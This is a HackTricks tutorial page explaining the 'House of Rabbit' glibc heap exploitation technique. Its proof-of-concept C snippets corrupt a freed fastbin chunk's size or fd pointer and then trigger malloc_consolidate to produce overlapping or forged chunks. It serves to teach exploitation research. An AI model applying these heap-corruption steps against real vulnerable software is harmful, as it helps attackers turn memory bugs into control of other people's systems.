# House of Rabbit
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### Requirements
1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
### Goals
1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
## Steps of the attack
### POC 1: Modify the size of a fast bin chunk
**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
* **Step 1: Allocate Chunks**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
* **Step 2: Free Chunks**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
We free both chunks, adding them to the fastbin list.
* **Step 3: Modify Chunk Size**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation.
* **Step 4: Trigger `malloc_consolidate`**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
### POC 2: Modify the `fd` pointer
**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
* **Step 1: Allocate Chunks**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
* **Step 2: Create fake chunk**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
We write fake chunk metadata into `chunk2` to simulate smaller chunks.
* **Step 3: Free `chunk1`**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
**Explanation**: We free `chunk1`, adding it to the fastbin list.
* **Step 4: Modify `fd` of `chunk1`**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
* **Step 5: Trigger `malloc_consolidate`**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk.
The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
### Summary
The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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